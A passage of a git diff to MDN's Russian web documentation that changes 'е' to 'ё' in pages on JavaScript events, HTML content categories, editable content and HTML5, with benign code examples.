доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с её содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчёт времени анимации.</p> -<p>События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остается неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети<em>,</em> скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы<em>,</em> нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи <em>"Неудобные API: Теория DOM",</em> которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.</p> +<p>События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остаётся неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети<em>,</em> скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы<em>,</em> нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи <em>"Неудобные API: Теория DOM",</em> которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.</p> <div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div> -<p>Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер еще не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.</p> +<p>Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер ещё не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.</p> <h2 id="Шаблон_проектирования_событий">Шаблон проектирования событий</h2> @@ -58,9 +58,9 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre> <p>{{ EmbedLiveSample('Button_Event_Handler') }}</p> -<p>Этот код полагается на соглашение о том, что существует некоторый вид события, называемый <code>'click'</code> , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом <code>Event</code> (на данный момент, в этом случае производный от объекта <code>MouseEvent</code> ) и будет запущен после манипуляций пользователя с элементами <code>button</code> на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдет, <code>buttonDOMElement</code> объекта JavaScript вызовет функцию <code>example_click_handler</code> с объектом <code>Event</code> в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту <code>ev</code>, так как тот передается в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.</p> +<p>Этот код полагается на соглашение о том, что существует некоторый вид события, называемый <code>'click'</code> , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом <code>Event</code> (на данный момент, в этом случае производный от объекта <code>MouseEvent</code> ) и будет запущен после манипуляций пользователя с элементами <code>button</code> на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдёт, <code>buttonDOMElement</code> объекта JavaScript вызовет функцию <code>example_click_handler</code> с объектом <code>Event</code> в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту <code>ev</code>, так как тот передаётся в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.</p> -<p>Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обернут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:</p> +<p>Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обёрнут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:</p> <pre class="brush: js">var funcInit = function(){ // user code goes here and can safely address all the HTML elements from the page @@ -69,7 +69,7 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre> document.addEventListener('DOMContentLoaded', funcInit); </pre> -<p>так что этот код будет вызван только после того, как объект <code>document</code> вызовет событие <code>'DOMContentLoaded'</code>, потому что HTML был проанализирован и были созданы объекты Javasript, представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передает аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.</p> +<p>так что этот код будет вызван только после того, как объект <code>document</code> вызовет событие <code>'DOMContentLoaded'</code>, потому что HTML был проанализирован и были созданы объекты Javasript, представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передаёт аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.</p> <p>Шаблон легко изучить и внедрить. Сложность с событиями возникает из-за необходимости изучить большое разнообразие событий, которые представлены в современных web-браузерах. Так же есть некоторая сложность в понимании, как писать обработчики, так как данный код работает асинхронно и потенциально может быть вызван несколько раз подряд, но в немного другой ситуации.</p> @@ -100,7 +100,7 @@ document.addEventListener('DOMContentLoaded', funcInit); <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a>, когда страница закончила рендеринг, подразумевая, что все ресурсы были скачаны и применены, так что скрипт был выполнен и изображения отображены,</li> <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a>, когда высота или ширина окна браузера была изменена пользователем,</li> <li>объект DOM <a href="/en-US/docs/Web/API/Document"><code>document</code></a>, представляющий HTML-документ, вызывает событие, называемое <code><a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code>, когда документ закончил загрузку,</li> - <li>объект узла DOM, такой как <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> или <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, вызывающий событие, называемое <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, когда пользователь нажимает кнопку мыши, пока ее указатель находится поверх узла DOM на HTML-странице.</li> + <li>объект узла DOM, такой как <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> или <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, вызывающий событие, называемое <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, когда пользователь нажимает кнопку мыши, пока её указатель находится поверх узла DOM на HTML-странице.</li> </ul> diff --git a/files/ru/web/guide/graphics/index.html b/files/ru/web/guide/graphics/index.html index 600c9cd4dd..70c4cc4c20 100644 --- a/files/ru/web/guide/graphics/index.html +++ b/files/ru/web/guide/graphics/index.html @@ -4,7 +4,7 @@ slug: Web/Guide/Graphics translation_of: Web/Guide/Graphics original_slug: Web/Guide/Графика --- -<p>Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать ее каким-либо образом после. Как это проделать можно узнать в следующих статьях.</p> +<p>Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать её каким-либо образом после. Как это проделать можно узнать в следующих статьях.</p> <div class="row topicpage-table"> <div class="section"> diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html index 16e41106a0..1334570d7b 100644 --- a/files/ru/web/guide/html/content_categories/index.html +++ b/files/ru/web/guide/html/content_categories/index.html @@ -3,7 +3,7 @@ title: Категории контента slug: Web/Guide/HTML/Content_categories translation_of: Web/Guide/HTML/Content_categories --- -<p><span class="seoSummary">Каждый элемент <a href="/ru/docs/Web/HTML">HTML</a> принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задает на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит <em>ни в одну</em> из этих категорий.</span></p> +<p><span class="seoSummary">Каждый элемент <a href="/ru/docs/Web/HTML">HTML</a> принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задаёт на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит <em>ни в одну</em> из этих категорий.</span></p> <p>Существует три типа категорий контента:</p> @@ -49,12 +49,12 @@ translation_of: Web/Guide/HTML/Content_categories <p>К этой категории принадлежат элементы {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} и {{HTMLElement("section")}}. </p> <div class="note"> -<p>Не стоит путать данную модель контента с категорией <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">корня задания разделов</a>, которая изолирует свое содержимое от обычной структуры.</p> +<p>Не стоит путать данную модель контента с категорией <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">корня задания разделов</a>, которая изолирует своё содержимое от обычной структуры.</p> </div> <h3 id="Заголовочный_контент_2"><a name="Заголовочный_контент">Заголовочный контент</a></h3> -<p>Заголовочный контент задает заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.</p> +<p>Заголовочный контент задаёт заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.</p> <p>Данной категории принадлежат такие элементы, как {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} и {{HTMLElement("hgroup")}}.</p> @@ -63,7 +63,7 @@ translation_of: Web/Guide/HTML/Content_categories </div> <div class="note"> -<p>Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удален из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.</p> +<p>Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удалён из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.</p> </div> <h3 id="Phrasing_content" name="Phrasing_content">Фразовый контент</h3> @@ -72,7 +72,7 @@ translation_of: Web/Guide/HTML/Content_categories <p>К данной категории принадлежат следующие элементы: {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и обычный текст (не только состоящий из символов пробелов).</p> -<p>Еще несколько элементов входят в данную категорию при соблюдении особых условий:</p> +<p>Ещё несколько элементов входят в данную категорию при соблюдении особых условий:</p> <ul> <li>{{HTMLElement("a")}}, если содержит в себе только фразовый контент</li> @@ -86,12 +86,12 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Встроенный_контент">Встроенный контент</h3> -<p>Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имен. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p> +<p>Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имён. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p> <h3 id="Интерактивный_контент"><a name="interactive_content">Интерактивный контент</a></h3> <p>К интерактивному контенту относятся элементы, который специально разработаны для взаимодействия с пользователем. В данную категорию входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.<br> - Некоторые элементы считаются интерактивным контентом только при соблюдении определенных условий:</p> + Некоторые элементы считаются интерактивным контентом только при соблюдении определённых условий:</p> <ul> <li>{{HTMLElement("audio")}}, если указан атрибут {{htmlattrxref("controls", "audio")}}</li> @@ -104,7 +104,7 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Явный_контент">Явный контент</h3> -<p>Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображен и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.</p> +<p>Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображён и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.</p> <h3 id="Контент_форм">Контент форм</h3> @@ -143,7 +143,7 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Элементы_поддержки_скриптов">Элементы поддержки скриптов</h3> -<p>Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путем либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.</p> +<p>Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путём либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.</p> <p>Элементами поддержки скриптов являются:</p> diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html index c260371219..9f8b6b6389 100644 --- a/files/ru/web/guide/html/editable_content/index.html +++ b/files/ru/web/guide/html/editable_content/index.html @@ -12,13 +12,13 @@ translation_of: Web/Guide/HTML/Editable_content <p>Все, что вам нужно сделать, это установить атрибут {{htmlattrxref("contenteditable")}} почти на любой элемент HTML, чтобы сделать его доступным для редактирования.</p> -<p>Вот простой пример, который создает элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.</p> +<p>Вот простой пример, который создаёт элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.</p> <pre class="brush: html"><div contenteditable="true"> Этот текст может быть отредактирован пользователем. </div></pre> -<p>Вот приведенный выше HTML-код в песочнице:</p> +<p>Вот приведённый выше HTML-код в песочнице:</p> <p>{{ EmbedLiveSample('Как_это_работает') }} </p> @@ -30,9 +30,9 @@ translation_of: Web/Guide/HTML/Editable_content <p>Использование <code>contenteditable</code> в разных браузерах было болезненным в течение длительного времени из-за различий в сгенерированной разметке между браузерами. Например, даже что-то простое, что происходит, когда вы нажимаете Enter/Return для создания новой строки текста внутри редактируемого элемента, обрабатывалось по-разному в основных браузерах (Firefox вставлял элементы {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, в Chrome/Safari использовался {{htmlelement("div")}}). </p> -<p>К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>, Firefox будет обновлен, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.</p> +<p>К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>, Firefox будет обновлён, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.</p> -<p>Попробуйте это в приведенном выше примере.</p> +<p>Попробуйте это в приведённом выше примере.</p> <div class="note"> <p><strong>Примечание</strong>: Internet Explorer, который больше не разрабатывается, использует элементы {{htmlelement("p")}} вместо <code><div></code>.</p> @@ -103,7 +103,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre <option class="heading" selected>- цвет -</option> <option value="red">Красный</option> <option value="blue">Синий</option> -<option value="green">Зеленый</option> +<option value="green">Зелёный</option> <option value="black">Чёрный</option> </select> <select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"> @@ -121,7 +121,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre <img class="intLink" title="Удалить форматирование" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="> <img class="intLink" title="Жирный" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /> <img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /> -<img class="intLink" title="Подчеркивание" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /> +<img class="intLink" title="Подчёркивание" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /> <img class="intLink" title="Выровнять слева" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /> <img class="intLink" title="Выровнять центр" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /> <img class="intLink" title="Выровнять справа" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /> diff --git a/files/ru/web/guide/html/html5/index.html b/files/ru/web/guide/html/html5/index.html index 6583613185..70cb73fa9c 100644 --- a/files/ru/web/guide/html/html5/index.html +++ b/files/ru/web/guide/html/html5/index.html @@ -22,7 +22,7 @@ original_slug: HTML/HTML5 <li><em>Мультимедиа:</em>создание и взаимодействие с видео и звуком;</li> <li><em>2D/3D Графика и эффекты:</em> способы значительно разнообразить представление;</li> <li><em>Доступ к устройствам:</em> использование разных устройств для ввода и вывода информации;</li> - <li><em>Стилизация:</em> создание изощренных и совершенных тем.</li> + <li><em>Стилизация:</em> создание изощрённых и совершенных тем.</li> </ul> <table class="topicpage-table"> @@ -59,7 +59,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Server-sent события</a></dt> <dd>Позволяет серверу отправлять события клиенту, а не по классической парадигме, где сервер может передавать данные только в ответ на запрос клиента.</dd> <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> - <dd>Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> + <dd>Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> </dl> <h2 id="ОФФЛАЙН_И_ХРАНИЛИЩЕ" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ОФФЛАЙН И ХРАНИЛИЩЕ</h2> @@ -83,7 +83,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Использование HTML5 audio и video</a></dt> <dd>{{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы вставляют и позволяют управлять мультимедиа контентом.</dd> <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> - <dd>Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> + <dd>Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API">Использование Camera API</a></dt> <dd>Позволяет контролировать, манипулировать и хранить изображения с камеры устройства.</dd> </dl> @@ -132,7 +132,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">Pointer Lock API</a></dt> <dd>Позволяет блокировать курсор, так чтобы игры и подобные приложения не теряли фокус, когда указатель достигает предела окна.</dd> <dt><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">Online and offline events</a></dt> - <dd>Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернется в сеть.</dd> + <dd>Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернётся в сеть.</dd> </dl> <h2 id="доступ_к_устройствам" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">доступ к устройствам</h2> diff --git a/files/ru/web/guide/html/html5/introduction_to_html5/index.html b/files/ru/web/guide/html/html5/introduction_to_html5/index.html index 64b43c9b8a..85b024ad30 100644 --- a/files/ru/web/guide/html/html5/introduction_to_html5/index.html +++ b/files/ru/web/guide/html/html5/introduction_to_html5/index.html @@ -24,4 +24,4 @@ original_slug: HTML/HTML5/Введение_в_HTML5 <h2 id="Использование_нового_HTML5_парсера">Использование нового HTML5 парсера</h2> <p>The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of <em>valid</em> mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.</p> <p>This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.</p> -<p>Не волнуйтесь - вам не придется ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!</p> +<p>Не волнуйтесь - вам не придётся ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!</p> diff --git a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html index 57fc57b89d..bc5258ab54 100644 --- a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html +++ b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html @@ -14,14 +14,14 @@ translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document --- <div class="warning"> -<p><strong>Важно</strong>: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрен в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм <a href="http://www.w3.org/TR/html5/sections.html#outline">построения структуры</a> нельзя использовать для 